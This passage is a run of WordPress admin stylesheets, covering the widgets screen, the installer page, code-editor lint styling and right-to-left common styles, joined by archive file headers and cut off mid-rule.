Settings by Default */ .widget-inside, .widget-description { display: none; } .widget-inside { background: #fff; } .widget-inside select { max-width: 100%; } /* Dragging widgets over the available widget area show's a "Deactivate" message */ #removing-widget { display: none; font-weight: 400; padding-right: 15px; font-size: 12px; line-height: 1; color: #000; } .js #removing-widget { color: #72aee6; } .widget-control-noform, #access-off, .widgets_access .widget-action, .widgets_access .handlediv, .widgets_access #access-on, .widgets_access .widget-holder .description, .no-js .widget-holder .description { display: none; } .widgets_access .widget-holder, .widgets_access #widget-list { padding-top: 10px; } .widgets_access #access-off { display: inline; } .widgets_access .sidebar-name, .widgets_access .widget .widget-top { cursor: default; } /* Widgets Area Chooser */ .widget-liquid-left #widgets-left.chooser #available-widgets .widget, .widget-liquid-left #widgets-left.chooser .inactive-sidebar { transition: opacity 0.1s linear; } .widget-liquid-left #widgets-left.chooser #available-widgets .widget, .widget-liquid-left #widgets-left.chooser .inactive-sidebar { /* -webkit-filter: blur(1px); */ opacity: 0.2; pointer-events: none; } .widget-liquid-left #widgets-left.chooser #available-widgets .widget-in-question { /* -webkit-filter: none; */ opacity: 1; pointer-events: auto; } .widgets-chooser ul, #widgets-left .widget-in-question .widget-top, #available-widgets .widget-top:hover, div#widgets-right .widget-top:hover, #widgets-left .widget-top:hover { border-color: #8c8f94; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1); } .widgets-chooser ul.widgets-chooser-sidebars { margin: 0; list-style-type: none; max-height: 300px; overflow: auto; } .widgets-chooser { display: none; } .widgets-chooser ul { border: 1px solid #c3c4c7; } .widgets-chooser li { border-bottom: 1px solid #c3c4c7; background: #fff; margin: 0; position: relative; } .widgets-chooser .widgets-chooser-button { width: 100%; padding: 10px 35px 10px 15px; background: transparent; border: 0; box-sizing: border-box; text-align: right; cursor: pointer; transition: background 0.2s ease-in-out; } /* @todo looks like these hover/focus states are overridden by .widgets-chooser-selected */ .widgets-chooser .widgets-chooser-button:hover, .widgets-chooser .widgets-chooser-button:focus { outline: none; text-decoration: underline; } .widgets-chooser li:last-child { border: none; } .widgets-chooser .widgets-chooser-selected .widgets-chooser-button { background: var(--wp-admin-theme-color, #3858e9); color: #fff; } .widgets-chooser .widgets-chooser-selected:before { content: "\f147"; content: "\f147" / ''; display: block; -webkit-font-smoothing: antialiased; font: normal 26px/1 dashicons; color: #fff; position: absolute; top: 7px; right: 5px; } .widgets-chooser .widgets-chooser-actions { padding: 10px 0 12px; text-align: center; } #available-widgets .widget .widget-top { cursor: pointer; } #available-widgets .widget.ui-draggable-dragging .widget-top { cursor: move; } /* =Specific widget styling -------------------------------------------------------------- */ .text-widget-fields { position: relative; } .text-widget-fields [hidden] { display: none; } .text-widget-fields .wp-pointer.wp-pointer-top { position: absolute; z-index: 3; top: 100px; left: 10px; right: 10px; } .text-widget-fields .wp-pointer .wp-pointer-arrow { right: auto; left: 15px; } .text-widget-fields .wp-pointer .wp-pointer-buttons { line-height: 1.4; } .custom-html-widget-fields > p > .CodeMirror { border: 1px solid #dcdcde; } .custom-html-widget-fields code { padding-top: 1px; padding-bottom: 1px; } ul.CodeMirror-hints { z-index: 101; /* Due to z-index 100 set on .widget.open */ } .widget-control-actions .custom-html-widget-save-button.button.validation-blocked { cursor: not-allowed; } /* =Media Queries -------------------------------------------------------------- */ @media screen and (max-width: 782px) { .widgets-holder-wrap .widget-inside input[type="checkbox"], .widgets-holder-wrap .widget-inside input[type="radio"], .editwidget .widget-inside input[type="checkbox"], /* Selectors for the "accessibility mode" page. */ .editwidget .widget-inside input[type="radio"] { margin: 0.25rem 0 0.25rem 0.25rem; } } @media screen and (max-width: 480px) { div.widget-liquid-left { width: 100%; float: none; border-left: none; padding-left: 0; } #widgets-left .sidebar-name { margin-left: 0; } #widgets-left #available-widgets .widget-top { margin-left: 0; } #widgets-left .inactive-sidebar .widgets-sortables { margin-left: 0; } div.widget-liquid-right { width: 100%; float: none; } div.widget { max-width: 480px; } .widget-access-link { float: none; margin: 15px 0 0; } } @media screen and (max-width: 320px) { div.widget { max-width: 320px; } } @media only screen and (min-width: 1250px) { #widgets-left #available-widgets .widget { width: 49%; float: right; } .widget.ui-draggable-dragging { min-width: 49%; } #widgets-left #available-widgets .widget:nth-child(even) { float: left; } #widgets-right .sidebars-column-1, #widgets-right .sidebars-column-2 { float: right; width: 49%; } #widgets-right .sidebars-column-1 { margin-left: 2%; } #widgets-right.single-sidebar .sidebars-column-1, #widgets-right.single-sidebar .sidebars-column-2 { float: none; width: 100%; margin: 0; } } css/install.css 0000644 00000014500 15233246127 0007521 0 ustar 00 html { background: #f0f0f1; margin: 0 20px; } body { background: #fff; border: 1px solid #c3c4c7; color: #3c434a; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; margin: 140px auto 25px; padding: 20px 20px 10px; max-width: 700px; -webkit-font-smoothing: subpixel-antialiased; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); } a { color: var(--wp-admin-theme-color); } a:hover, a:active { color: var(--wp-admin-theme-color-darker-20); } a:focus { color: var(--wp-admin-theme-color-darker-20); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } h1, h2 { border-bottom: 1px solid #dcdcde; clear: both; color: #646970; font-size: 24px; padding: 0 0 7px; font-weight: 400; } h3 { font-size: 16px; } p, li, dd, dt { padding-bottom: 2px; font-size: 14px; line-height: 1.5; } code, .code { font-family: Consolas, Monaco, monospace; } ul, ol, dl { padding: 5px 5px 5px 22px; } a img { border: 0 } abbr { border: 0; font-variant: normal; } fieldset { border: 0; padding: 0; margin: 0; } #logo { margin: -130px auto 25px; padding: 0 0 25px; width: 84px; height: 84px; overflow: hidden; background-image: url(../images/w-logo-gray.png?ver=20260303); background-image: none, url(../images/wordpress-logo-gray.svg?ver=20260303); background-size: 84px; background-position: center top; background-repeat: no-repeat; color: #3c434a; /* same as login.css */ font-size: 20px; font-weight: 400; line-height: 1.3em; text-decoration: none; text-align: center; text-indent: -9999px; outline: none; } .step { margin: 20px 0 15px; } .step, th { text-align: left; padding: 0; } .language-chooser.wp-core-ui .step .button.button-large { font-size: 14px; } textarea { border: 1px solid #dcdcde; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; width: 100%; box-sizing: border-box; } .form-table { border-collapse: collapse; margin-top: 1em; width: 100%; } .form-table td { margin-bottom: 9px; padding: 10px 20px 10px 0; font-size: 14px; vertical-align: top } .form-table th { font-size: 14px; text-align: left; padding: 10px 20px 10px 0; width: 115px; vertical-align: top; } .form-table code { line-height: 1.28571428; font-size: 14px; } .form-table p { margin: 4px 0 0; font-size: 11px; } .form-table .setup-description { margin: 4px 0 0; line-height: 1.6; } .form-table input { line-height: 1.33333333; font-size: 15px; padding: 3px 5px; } .wp-pwd { margin-top: 0; } .form-table .wp-pwd { display: flex; column-gap: 4px; } .form-table .password-input-wrapper { width: 100%; } input, submit { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; } .form-table input[type=text], .form-table input[type=email], .form-table input[type=url], .form-table input[type=password], #pass-strength-result { width: 100%; } .form-table th p { font-weight: 400; } .form-table.install-success th, .form-table.install-success td { vertical-align: middle; padding: 16px 20px 16px 0; } .form-table.install-success td p { margin: 0; font-size: 14px; } .form-table.install-success td code { margin: 0; font-size: 18px; } #error-page { margin-top: 50px; } #error-page p { font-size: 14px; line-height: 1.28571428; margin: 25px 0 20px; } #error-page code, .code { font-family: Consolas, Monaco, monospace; } .message { border-left: 4px solid #d63638; padding: .7em .6em; background-color: #fcf0f1; } /* rtl:ignore */ #dbname, #uname, #pwd, #dbhost, #prefix, #user_login, #admin_email, #pass1, #pass2 { direction: ltr; } /* localization */ body.rtl, .rtl textarea, .rtl input, .rtl submit { font-family: Tahoma, sans-serif; } :lang(he-il) body.rtl, :lang(he-il) .rtl textarea, :lang(he-il) .rtl input, :lang(he-il) .rtl submit { font-family: Arial, sans-serif; } @media only screen and (max-width: 799px) { body { margin-top: 115px; } #logo a { margin: -125px auto 30px; } } @media screen and (max-width: 782px) { .form-table { margin-top: 0; } .form-table th, .form-table td { display: block; width: auto; vertical-align: middle; } .form-table th { padding: 20px 0 0; } .form-table td { padding: 5px 0; border: 0; margin: 0; } textarea, input { font-size: 16px; } .form-table td input[type="text"], .form-table td input[type="email"], .form-table td input[type="url"], .form-table td input[type="password"], .form-table td select, .form-table td textarea, .form-table span.description { width: 100%; font-size: 16px; line-height: 1.5; padding: 7px 10px; display: block; max-width: none; box-sizing: border-box; } #pwd { padding-right: 2.5rem; } .wp-pwd #pass1 { padding-right: 50px; } .wp-pwd .button.wp-hide-pw { right: 0; } #pass-strength-result { width: 100%; } } body.language-chooser { max-width: 300px; } .language-chooser select { padding: 8px; width: 100%; display: block; border: 1px solid #dcdcde; background: #fff; color: #2c3338; font-size: 16px; font-family: Arial, sans-serif; font-weight: 400; } .language-chooser select:focus { color: #2c3338; } .language-chooser select option:hover, .language-chooser select option:focus { color: var(--wp-admin-theme-color-darker-20); } .language-chooser .step { text-align: right; } .screen-reader-input, .screen-reader-text { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; /* Many screen reader and browser combinations announce broken words as they would appear visually. */ word-wrap: normal !important; word-break: normal !important; } .spinner { background: url(../images/spinner.gif) no-repeat; background-size: 20px 20px; visibility: hidden; opacity: 0.7; filter: alpha(opacity=70); width: 20px; height: 20px; margin: 2px 5px 0; } .step .spinner { display: inline-block; vertical-align: middle; margin-right: 15px; } .button.hide-if-no-js, .hide-if-no-js { display: none; } /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .spinner { background-image: url(../images/spinner-2x.gif); } } css/code-editor.min.css 0000644 00000002633 15233246127 0011037 0 ustar 00 /*! This file is auto-generated */ .wp-core-ui [class*=CodeMirror-lint-message],.wrap .CodeMirror-lint-marker-multiple,.wrap [class*=CodeMirror-lint-marker]{background-image:none}.wp-core-ui .CodeMirror-lint-marker-error,.wp-core-ui .CodeMirror-lint-marker-warning{cursor:help}.wrap .CodeMirror-lint-marker-multiple{position:absolute;top:0}.wrap [class*=CodeMirror-lint-marker]:before{font:normal 18px/1 dashicons;position:relative;top:-2px}.wp-core-ui [class*=CodeMirror-lint-message]:before{font:normal 16px/1 dashicons;left:16px;position:absolute}.wp-core-ui .CodeMirror-lint-message-error,.wp-core-ui .CodeMirror-lint-message-warning{box-shadow:0 1px 1px 0 rgba(0,0,0,.1);margin:5px 0 2px;padding:3px 12px 3px 28px}.wp-core-ui .CodeMirror-lint-message-warning{background-color:#fcf9e8;border-left:4px solid #dba617}.wp-core-ui .CodeMirror-lint-message-warning:before,.wrap .CodeMirror-lint-marker-warning:before{content:"\f534";color:#dba617}.wp-core-ui .CodeMirror-lint-message-error{background-color:#fcf0f1;border-left:4px solid #d63638}.wp-core-ui .CodeMirror-lint-message-error:before,.wrap .CodeMirror-lint-marker-error:before{content:"\f153";color:#d63638}.wp-core-ui .CodeMirror-lint-tooltip{background:0 0;border:none;border-radius:0;direction:ltr}.wrap .CodeMirror .CodeMirror-matchingbracket{background:rgba(219,166,23,.3);color:inherit}.CodeMirror{text-align:left}.wrap .CodeMirror .CodeMirror-linenumber{color:#646970} css/common-rtl.min.css 0000644 00000170207 15233246127 0010733 0 ustar 00 /*! This file is auto-generated */ #wpwrap{height:auto;min-height:100%;width:100%;position:relative;-webkit-font-smoothing:subpixel-antialiased}#wpcontent{height:100%;padding-right:20px}#wpcontent,#wpfooter{margin-right:160px}.folded #wpcontent,.folded #wpfooter{margin-right:36px}#wpbody-content{padding-bottom:65px;float:right;width:100%;overflow:visible}.inner-sidebar{float:left;clear:left;display:none;width:281px;position:relative}.columns-2 .inner-sidebar{margin-left:auto;width:286px;display:block}.columns-2 .inner-sidebar #side-sortables,.inner-sidebar #side-sortables{min-height:300px;width:280px;padding:0}.has-right-sidebar .inner-sidebar{display:block}.has-right-sidebar #post-body{float:right;clear:right;width:100%;margin-left:-2000px}.has-right-sidebar #post-body-content{margin-left:300px;float:none;width:auto}#col-left{float:right;width:35%}#col-right{float:left;width:65%}#col-left .col-wrap{padding:0 0 0 6px}#col-right .col-wrap{padding:0 6px 0 0}.alignleft{float:right}.alignright{float:left}.textleft{text-align:right}.textright{text-align:left}.clear{clear:both}.wp-clearfix:after{content:"";display:table;clear:both}.screen-reader-text,.screen-reader-text span,.ui-helper-hidden-accessible{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important;word-break:normal!important}.button .screen-reader-text{height:auto}.screen-reader-text+.dashicons-external{margin-top:-1px;margin-right:2px;text-decoration:none}.screen-reader-shortcut{position:absolute;top:-1000em;right:6px;height:auto;width:auto;display:block;font-size:14px;font-weight:600;padding:15px 23px 14px;background:#fff;color:var(--wp-admin-theme-color,#3858e9);z-index:100000;line-height:normal}.screen-reader-shortcut:focus{top:-25px;color:var(--wp-admin-theme-color,#3858e9);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);text-decoration:none;outline:2px solid transparent;outline-offset:-2px}.hidden,.js .closed .inside,.js .hide-if-js,.js .wp-core-ui .hide-if-js,.js.wp-core-ui .hide-if-js,.no-js .hide-if-no-js,.no-js .wp-core-ui .hide-if-no-js,.no-js.wp-core-ui .hide-if-no-js{display:none}#menu-management .menu-edit,#menu-settings-column .accordion-container,.comment-ays,.feature-filter,.manage-menus,.menu-item-handle,.popular-tags,.stuffbox,.widget-inside,.widget-top,.widgets-holder-wrap,.wp-editor-container,p.popular-tags,table.widefat{border:1px solid #c3c4c7;box-shadow:0 1px 1px rgba(0,0,0,.04)}.comment-ays,.feature-filter,.popular-tags,.stuffbox,.widgets-holder-wrap,.wp-editor-container,p.popular-tags,table.widefat{background:#fff}body,html{height:100%;margin:0;padding:0}body{background:#f0f0f1;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.4em;min-width:600px}body.iframe{min-width:0;padding-top:1px}body.modal-open{overflow:hidden}body.mobile.modal-open #wpwrap{overflow:hidden;position:fixed;height:100%}iframe,img{border:0}td{font-family:inherit;font-size:inherit;font-weight:inherit;line-height:inherit}a{color:#2271b1;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}a,div{outline:0}a:active,a:hover{color:#135e96}.wp-person a:focus .gravatar,a:focus,a:focus .media-icon img,a:focus .plugin-icon{color:#043959;border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#adminmenu a:focus{box-shadow:none;outline:1px solid transparent;outline-offset:-1px}.screen-reader-text:focus{box-shadow:none;outline:0}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}.wp-die-message,p{font-size:13px;line-height:1.5;margin:1em 0}blockquote{margin:1em}dd,li{margin-bottom:6px}h1,h2,h3,h4,h5,h6{display:block;font-weight:600}h1{color:#1d2327;font-size:2em;margin:.67em 0}h2,h3{color:#1d2327;font-size:1.3em;margin:1em 0}.update-core-php h2{margin-top:4em}.update-messages h2,.update-php h2,h4{font-size:1em;margin:1.33em 0}h5{font-size:.83em;margin:1.67em 0}h6{font-size:.67em;margin:2.33em 0}ol,ul{padding:0}ul{list-style:none}ol{list-style-type:decimal;margin-right:2em}ul.ul-disc{list-style:disc outside}ul.ul-square{list-style:square outside}ol.ol-decimal{list-style:decimal outside}ol.ol-decimal,ul.ul-disc,ul.ul-square{margin-right:1.8em}ol.ol-decimal>li,ul.ul-disc>li,ul.ul-square>li{margin:0 0 .5em}.ltr{direction:ltr}.code,code{font-family:Consolas,Monaco,monospace;direction:ltr;unicode-bidi:embed}code,kbd{padding:3px 5px 2px;margin:0 1px;background:#f0f0f1;background:rgba(0,0,0,.07);font-size:13px}.subsubsub{list-style:none;margin:8px 0 0;padding:0;font-size:13px;float:right;color:#646970}.subsubsub a{line-height:2;padding:.2em;text-decoration:none}.subsubsub a .count,.subsubsub a.current .count{color:#50575e;font-weight:400}.subsubsub a.current{font-weight:600;border:none}.subsubsub li{display:inline-block;margin:0;padding:0;white-space:nowrap}.widefat{border-spacing:0;width:100%;clear:both;margin:0}.widefat *{word-wrap:break-word}.widefat a,.widefat button.button-link{text-decoration:none}.widefat td,.widefat th{padding:8px 10px}.widefat thead td,.widefat thead th{border-bottom:1px solid #c3c4c7}.widefat tfoot td,.widefat tfoot th{border-top:1px solid #c3c4c7;border-bottom:none}.widefat .no-items td{border-bottom-width:0}.widefat td{vertical-align:top}.widefat td,.widefat td ol,.widefat td p,.widefat td ul{font-size:13px;line-height:1.5em}.widefat tfoot td,.widefat th,.widefat thead td{text-align:right;line-height:1.3em;font-size:14px}.updates-table td input,.widefat tfoot td input,.widefat th input,.widefat thead td input{margin:0 8px 0 0;padding:0;vertical-align:text-top}.widefat .check-column{width:2.2em;padding:6px 0 25px;vertical-align:top}.widefat tbody th.check-column{padding:9px 0 22px}.updates-table tbody td.check-column,.widefat tbody th.check-column,.widefat tfoot td.check-column,.widefat thead td.check-column{padding:11px 3px 0 0}.widefat tfoot td.check-column,.widefat thead td.check-column{padding-top:4px;vertical-align:middle}.update-php div.error,.update-php div.updated{margin-right:0}.js-update-details-toggle .dashicons{text-decoration:none}.js-update-details-toggle[aria-expanded=true] .dashicons::before{content:"\f142";content:"\f142"/''}.no-js .widefat tfoot .check-column input,.no-js .widefat thead .check-column input{display:none}.column-comments,.column-links,.column-posts,.widefat .num{text-align:center}.widefat th#comments{vertical-align:middle}.wrap{margin:10px 2px 0 20px}.postbox .inside h2,.wrap [class$=icon32]+h2,.wrap h1,.wrap>h2:first-child{font-size:23px;font-weight:400;margin:0;padding:9px 0 4px;line-height:1.3}.wrap h1.wp-heading-inline{display:inline-block;margin-left:5px}.wp-header-end{visibility:hidden;margin:-2px 0 0}.subtitle{margin:0;padding-right:25px;color:#50575e;font-size:14px;font-weight:400;line-height:1}.subtitle strong{word-break:break-all}.wrap .add-new-h2,.wrap .add-new-h2:active,.wrap .page-title-action,.wrap .page-title-action:active{display:inline-block;position:relative;box-sizing:border-box;cursor:pointer;white-space:nowrap;text-decoration:none;text-shadow:none;top:-3px;margin-right:4px;border:1px solid #2271b1;border-radius:2px;background:0 0;font-size:13px;font-weight:500;min-height:32px;line-height:2.30769231;color:#2271b1;padding:0 12px;-webkit-appearance:none}.wrap .wp-heading-inline+.page-title-action{margin-right:0}.wrap .add-new-h2:hover,.wrap .page-title-action:hover{border-color:#0a4b78;color:#0a4b78}.page-title-action:focus{color:#0a4b78}.form-table th label[for=WPLANG] .dashicons,.form-table th label[for=locale] .dashicons{margin-right:5px}.wrap .page-title-action:focus{border-color:#3582c4;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.wrap h1.long-header{padding-left:0}.wp-dialog{background-color:#fff}#available-widgets .widget-top:hover,#widgets-left .widget-in-question .widget-top,#widgets-left .widget-top:hover,.widgets-chooser ul,div#widgets-right .widget-top:hover{border-color:#8c8f94;box-shadow:0 1px 2px rgba(0,0,0,.1)}.sorthelper{background-color:#c5d9ed}.ac_match,.subsubsub a.current{color:#000}.alternate,.striped>tbody>:nth-child(odd),ul.striped>:nth-child(odd){background-color:#f6f7f7}.bar{background-color:#f0f0f1;border-left-color:var(--wp-admin-theme-color)}.highlight{background-color:rgba(var(--wp-admin-theme-color--rgb),.08);color:#3c434a}.wp-ui-primary{color:#fff;background-color:#2c3338}.wp-ui-text-primary{color:#2c3338}.wp-ui-highlight{color:#fff;background-color:#2271b1}.wp-ui-text-highlight{color:#2271b1}.wp-ui-notification{color:#fff;background-color:#d63638}.wp-ui-text-notification{color:#d63638}.wp-ui-text-icon{color:#8c8f94}img.emoji{display:inline!important;border:none!important;height:1em!important;width:1em!important;margin:0 .07em!important;vertical-align:-.1em!important;background:0 0!important;padding:0!important;box-shadow:none!important}#nav-menu-footer,#nav-menu-header,#your-profile #rich_editing,.checkbox,.control-section .accordion-section-title,.menu-item-handle,.postbox .hndle,.side-info,.sidebar-name,.stuffbox .hndle,.widefat tfoot td,.widefat tfoot th,.widefat thead td,.widefat thead th,.widget .widget-top{line-height:1.4em}.menu-item-handle,.widget .widget-top{background:#f6f7f7;color:#1d2327}.stuffbox .hndle{border-bottom:1px solid #c3c4c7}.quicktags{background-color:#c3c4c7;color:#000;font-size:12px}.icon32{display:none}#bulk-titles .ntdelbutton:before,.notice-dismiss:before,.tagchecklist .ntdelbutton .remove-tag-icon:before,.welcome-panel .welcome-panel-close:before{background:0 0;color:#1e1e1e;content:"\f335";content:"\f335"/'';display:block;font:normal 20px/1 dashicons;height:1em;text-align:center;width:1em;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.welcome-panel .welcome-panel-close:before{margin:0}.tagchecklist .ntdelbutton .remove-tag-icon:before{margin-right:2px;border-radius:50%;color:var(--wp-admin-theme-color,#3858e9);line-height:1.1}.tagchecklist .ntdelbutton:focus{outline:0}#bulk-titles .ntdelbutton:focus:before,#bulk-titles .ntdelbutton:hover:before,.tagchecklist .ntdelbutton:focus .remove-tag-icon:before,.tagchecklist .ntdelbutton:hover .remove-tag-icon:before{color:#d63638}.tagchecklist .ntdelbutton:focus .remove-tag-icon:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.key-labels label{line-height:24px}b,strong{font-weight:600}.pre{white-space:pre-wrap;word-wrap:break-word}.howto{color:#646970;display:block}p.install-help{margin:8px 0;font-style:italic}.no-break{white-space:nowrap}hr{border:0;border-top:1px solid #dcdcde;border-bottom:1px solid #f6f7f7}#all-plugins-table .plugins a.delete,#delete-link a.delete,#media-items a.delete,#media-items a.delete-permanently,#nav-menu-footer .menu-delete,#search-plugins-table .plugins a.delete,.plugins a.delete,.privacy_requests .remove-personal-data .remove-personal-data-handle,.row-actions span.delete a,.row-actions span.spam a,.row-actions span.trash a,.submitbox .submitdelete,a#remove-post-thumbnail{color:#b32d2e}#all-plugins-table .plugins a.delete:hover,#delete-link a.delete:hover,#media-items a.delete-permanently:hover,#media-items a.delete:hover,#nav-menu-footer .menu-delete:hover,#search-plugins-table .plugins a.delete:hover,.file-error,.plugins a.delete:hover,.privacy_requests .remove-personal-data .remove-personal-data-handle:hover,.row-actions .delete a:hover,.row-actions .spam a:hover,.row-actions .trash a:hover,.submitbox .submitdelete:hover,a#remove-post-thumbnail:hover,abbr.required,span.required{color:#b32d2e;border:none}.application-password-display .success{color:#007017;margin-right:.5rem}#major-publishing-actions{padding:10px;clear:both;border-top:1px solid #dcdcde;background:#f6f7f7;display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between}#delete-action{line-height:2.30769231}#delete-link a{text-decoration:none}#publishing-action{text-align:left;margin-right:auto;line-height:1.9}#publishing-action .spinner{float:none}#misc-publishing-actions{padding:6px 0 0}.misc-pub-section{padding:6px 10px 8px}.misc-pub-filename,.word-wrap-break-word{word-wrap:break-word}#minor-publishing-actions{padding:10px 10px 0;text-align:left}#save-post{float:right}.preview{float:left}#sticky-span{margin-right:18px}.approve,.unapproved .unapprove{display:none}.spam .approve,.trash .approve,.unapproved .approve{display:inline}td.action-links,th.action-links{text-align:left}#misc-publishing-actions .notice{margin-right:10px;margin-left:10px}.wp-filter{display:inline-block;position:relative;box-sizing:border-box;margin:12px 0 25px;padding:0 10px;width:100%;box-shadow:0 1px 1px rgba(0,0,0,.04);border:1px solid #c3c4c7;background:#fff;color:#50575e;font-size:13px}.wp-filter a{text-decoration:none}.filter-count{display:inline-block;vertical-align:middle;min-width:4em}.filter-count .count,.title-count{display:inline-block;position:relative;top:-1px;padding:4px 10px;border-radius:30px;background:#646970;color:#fff;font-size:14px;font-weight:600}.title-count{display:inline;top:-3px;margin-right:5px;margin-left:20px}.filter-items{float:right}.filter-links{display:inline-block;margin:0}.filter-links li{display:inline-block;margin:0}.filter-links li>a{display:inline-block;margin:0 10px;padding:15px 0;border-bottom:4px solid #fff;color:#646970;cursor:pointer}.filter-links .current{box-shadow:none;border-bottom:4px solid var(--wp-admin-theme-color);color:#1d2327}.filter-links li>a:focus,.filter-links li>a:hover,.show-filters .filter-links a.current:focus,.show-filters .filter-links a.current:hover{color:var(--wp-admin-theme-color)}.wp-filter .search-form{float:left;display:flex;align-items:center;column-gap:.5rem}.wp-filter .search-form input[type=search]{width:280px;max-width:100%}.wp-filter .search-form select{margin:0}.wp-filter .search-form input[type=search]{min-height:32px;padding:0 8px}.wp-filter .filter-items select,.wp-filter .search-form select{min-height:32px;line-height:2.14285714;padding:0 8px 0 24px}.wp-filter .button{min-height:32px;line-height:2.30769231;padding:0 12px}.plugin-install-php .wp-filter,.upload-php .wp-filter{display:flex;flex-wrap:wrap;justify-content:space-between;align-items:center}.no-js .wp-filter .search-form.search-plugins .button,.wp-filter .search-form.search-plugins .wp-filter-search,.wp-filter .search-form.search-plugins select{display:inline-block;vertical-align:top}.wp-filter .button.drawer-toggle{margin:10px 9px 0;padding:0 6px 0 10px;border-color:transparent;background-color:transparent;color:#646970;vertical-align:baseline;box-shadow:none}.wp-filter .drawer-toggle:before{content:"\f111";content:"\f111"/'';margin:0 0 0 5px;color:#646970;font:normal 16px/1 dashicons;vertical-align:text-bottom;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-filter .button.drawer-toggle:focus,.wp-filter .button.drawer-toggle:hover,.wp-filter .drawer-toggle:focus:before,.wp-filter .drawer-toggle:hover:before{background-color:transparent;color:var(--wp-admin-theme-color)}.wp-filter .button.drawer-toggle:focus:active,.wp-filter .button.drawer-toggle:hover{border-color:transparent}.wp-filter .button.drawer-toggle:focus{border-color:var(--wp-admin-theme-color)}.wp-filter .button.drawer-toggle:active{background:0 0;box-shadow:none;transform:none}.wp-filter .drawer-toggle.current:before{color:#fff}.filter-drawer,.wp-filter .favorites-form{display:none;margin:0 -20px 0 -10px;padding:20px;border-top:1px solid #f0f0f1;background:#f6f7f7;overflow:hidden}.wp-filter .favorites-form .favorites-username{display:flex;align-items:center;flex-wrap:wrap;gap:.5rem}.wp-filter .favorites-form .favorites-username input{margin:0}.show-favorites-form .favorites-form,.show-filters .filter-drawer{display:block}.show-filters .filter-links a.current{border-bottom:none}.show-filters .wp-filter .button.drawer-toggle{border-radius:2px;background:#646970;color:#fff}.show-filters .wp-filter .drawer-toggle:focus,.show-filters .wp-filter .drawer-toggle:hover{background:var(--wp-admin-theme-color)}.show-filters .wp-filter .drawer-toggle:before{color:#fff}.filter-group{box-sizing:border-box;position:relative;float:right;margin:0 0 0 1%;padding:20px 10px 10px;width:24%;background:#fff;border:1px solid #dcdcde;box-shadow:0 1px 1px rgba(0,0,0,.04)}.filter-group legend{position:absolute;top:10px;display:block;margin:0;padding:0;font-size:1em;font-weight:600}.filter-drawer .filter-group-feature{margin:28px 0 0;list-style-type:none;font-size:12px}.filter-drawer .filter-group-feature input,.filter-drawer .filter-group-feature label{line-height:1.4}.filter-drawer .filter-group-feature input{position:absolute;margin:0}.filter-group .filter-group-feature label{display:block;margin:14px 23px 14px 0}.filter-drawer .buttons{clear:both;margin-bottom:20px}.filter-drawer .filter-group+.buttons{margin-bottom:0;padding-top:20px}.filter-drawer .buttons .button span{display:inline-block;opacity:.8;font-size:12px;text-indent:10px}.wp-filter .button.clear-filters{display:none;margin-right:10px}.wp-filter .button-link.edit-filters{padding:0 5px;line-height:2.2}.filtered-by{display:none;margin:0}.filtered-by>span{font-weight:600}.filtered-by a{margin-right:10px}.filtered-by .tags{display:flex;align-items:flex-start;flex-wrap:wrap;gap:8px}.filtered-by .tag{padding:4px 8px;border:1px solid #dcdcde;box-shadow:0 1px 1px rgba(0,0,0,.04);background:#fff;font-size:11px}.filters-applied .filter-drawer .buttons,.filters-applied .filter-drawer br,.filters-applied .filter-group{display:none}.filters-applied .filtered-by{display:flex;align-items:center;flex-wrap:wrap;gap:10px}.filters-applied .filter-drawer{padding:20px}.error .content-filterable,.loading-content .content-filterable,.show-filters .content-filterable,.show-filters .favorites-form,.show-filters.filters-applied.loading-content .content-filterable{display:none}.show-filters.filters-applied .content-filterable{display:block}.loading-content .spinner{display:block;margin:40px auto 0;float:none}@media only screen and (max-width:1138px){.wp-filter .search-form{margin:11px 0}}@media only screen and (max-width:1250px){.wp-filter:has(.plugin-install-search) .search-form{margin:11px 0}}@media only screen and (max-width:1120px){.filter-drawer{border-bottom:1px solid #f0f0f1}.filter-group{margin-bottom:0;margin-top:5px;width:100%}.filter-group li{margin:10px 0}}@media only screen and (max-width:1000px){.filter-items{float:none}.wp-filter .media-toolbar-primary,.wp-filter .media-toolbar-secondary,.wp-filter .search-form{float:none;position:relative;max-width:100%}.wp-filter .search-form{margin:11px 0;flex-wrap:wrap;row-gap:10px}}@media only screen and (max-width:782px){.filter-group li{padding:0;width:50%}.wp-filter .search-form input[type=search]{min-height:40px;padding:0 12px}.wp-filter .filter-items select,.wp-filter .search-form select{min-height:40px;padding:0 12px 0 24px}}@media only screen and (max-width:320px){.filter-count{display:none}.wp-filter .drawer-toggle{margin:10px 0}.filter-group li,.wp-filter .search-form input[type=search]{width:100%}}.notice,div.error,div.updated{background:#fff;border:none;border-right:4px solid #c3c4c7;box-shadow:none;margin:5px 15px 